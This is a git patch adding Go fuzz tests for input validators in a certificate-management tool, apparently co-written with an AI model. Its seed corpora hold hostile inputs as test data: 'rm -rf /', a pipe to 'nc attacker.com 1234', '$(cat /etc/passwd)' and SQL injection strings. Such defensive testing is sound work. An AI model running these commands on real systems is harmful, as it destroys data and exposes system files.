From a0afa7ab6f77f03e558a245e2e9b67f3e09be1e3 Mon Sep 17 00:00:00 2001 From: shankar0123 Date: Fri, 27 Mar 2026 21:40:49 -0400 Subject: [PATCH] test(security): TICKET-018 add fuzz tests for command validation and domain parsing Added Go native fuzz tests (testing/fuzz) for security-critical input validation: 1. FuzzValidateShellCommand in internal/validation/command_fuzz_test.go - Tests shell command validation with injection payloads (;, |, &, $, `, etc.) - Seed corpus includes valid commands and dangerous metacharacters - Ensures function never panics under fuzzing 2. FuzzValidateDomainName in internal/validation/command_fuzz_test.go - Tests RFC 1123 domain validation with wildcard support - Seed corpus includes SQL injection, path traversal, and malformed domains - Ensures function never panics under fuzzing 3. FuzzValidateACMEToken in internal/validation/command_fuzz_test.go - Tests base64url token validation - Seed corpus includes injection payloads and special characters - Ensures function never panics under fuzzing 4. FuzzIsValidRevocationReason in internal/domain/revocation_fuzz_test.go - Tests RFC 5280 revocation reason validation - Seed corpus includes case variations, injection attempts, and null bytes - Ensures function never panics and returns only valid booleans 5. FuzzCRLReasonCode in internal/domain/revocation_fuzz_test.go - Tests CRL reason code mapping - Validates return codes are within 0-9 range - Ensures invalid reasons default to 0 (unspecified) All fuzz tests follow Go 1.18+ testing/fuzz conventions with seed corpus for faster discovery of edge cases. Co-Authored-By: Claude Opus 4.6 --- internal/domain/revocation_fuzz_test.go | 55 ++++++++++++++++++++++ internal/validation/command_fuzz_test.go | 59 ++++++++++++++++++++++++ 2 files changed, 114 insertions(+) create mode 100644 internal/domain/revocation_fuzz_test.go create mode 100644 internal/validation/command_fuzz_test.go diff --git a/internal/domain/revocation_fuzz_test.go b/internal/domain/revocation_fuzz_test.go new file mode 100644 index 0000000..530b1bb --- /dev/null +++ b/internal/domain/revocation_fuzz_test.go @@ -0,0 +1,55 @@ +package domain + +import ( + "testing" +) + +func FuzzIsValidRevocationReason(f *testing.F) { + f.Add("keyCompromise") + f.Add("unspecified") + f.Add("caCompromise") + f.Add("affiliationChanged") + f.Add("superseded") + f.Add("cessationOfOperation") + f.Add("certificateHold") + f.Add("privilegeWithdrawn") + f.Add("") + f.Add("invalid-reason") + f.Add("KeyCompromise") + f.Add("key_compromise") + f.Add("KEY_COMPROMISE") + f.Add("keycompromise") + f.Add("reason; DROP TABLE") + f.Add("reason\" OR \"1\"=\"1") + f.Add("unspecified\x00injection") + f.Fuzz(func(t *testing.T, reason string) { + // Should never panic, only return bool + _ = IsValidRevocationReason(reason) + }) +} + +func FuzzCRLReasonCode(f *testing.F) { + f.Add("keyCompromise") + f.Add("unspecified") + f.Add("caCompromise") + f.Add("affiliationChanged") + f.Add("superseded") + f.Add("cessationOfOperation") + f.Add("certificateHold") + f.Add("privilegeWithdrawn") + f.Add("") + f.Add("invalid-reason") + f.Add("reason\" OR \"1\"=\"1") + f.Fuzz(func(t *testing.T, reason string) { + // Should never panic, always return a reasonable code + code := CRLReasonCode(RevocationReason(reason)) + // Valid codes should be 0-9 with gaps (no 7, no 8) + if code < 0 || code > 9 { + t.Errorf("CRLReasonCode returned invalid code: %d", code) + } + // For invalid reason, should default to 0 + if !IsValidRevocationReason(reason) && code != 0 { + t.Errorf("CRLReasonCode should return 0 for invalid reason %q, got %d", reason, code) + } + }) +} diff --git a/internal/validation/command_fuzz_test.go b/internal/validation/command_fuzz_test.go new file mode 100644 index 0000000..78cace0 --- /dev/null +++ b/internal/validation/command_fuzz_test.go @@ -0,0 +1,59 @@ +package validation + +import "testing" + +func FuzzValidateShellCommand(f *testing.F) { + f.Add("nginx -s reload") + f.Add("systemctl restart apache2") + f.Add("echo hello; rm -rf /") + f.Add("$(whoami)") + f.Add("") + f.Add("valid-command") + f.Add("/usr/bin/openssl") + f.Add("certctl-agent") + f.Add("; rm -rf /") + f.Add("| nc attacker.com 1234") + f.Add("`whoami`") + f.Add("$(cat /etc/passwd)") + f.Fuzz(func(t *testing.T, cmd string) { + // Should never panic, only return error for invalid input + _ = ValidateShellCommand(cmd) + }) +} + +func FuzzValidateDomainName(f *testing.F) { + f.Add("example.com") + f.Add("*.example.com") + f.Add("a.b.c.d.example.co.uk") + f.Add("") + f.Add("; rm -rf /") + f.Add("example.com; DROP TABLE certificates;") + f.Add("*.*.example.com") + f.Add("example..com") + f.Add("-example.com") + f.Add("example-.com") + f.Add("sub domain.com") + f.Add("@example.com") + f.Add("example.com/admin") + f.Add("//example.com") + f.Fuzz(func(t *testing.T, domain string) { + // Should never panic, only return error for invalid input + _ = ValidateDomainName(domain) + }) +} + +func FuzzValidateACMEToken(f *testing.F) { + f.Add("validtoken123") + f.Add("token-with-dash") + f.Add("token_with_underscore") + f.Add("") + f.Add("token;invalid") + f.Add("token|invalid") + f.Add("token$(whoami)") + f.Add("token\ninjection") + f.Add("token with spaces") + f.Fuzz(func(t *testing.T, token string) { + // Should never panic, only return error for invalid input + _ = ValidateACMEToken(token) + }) +}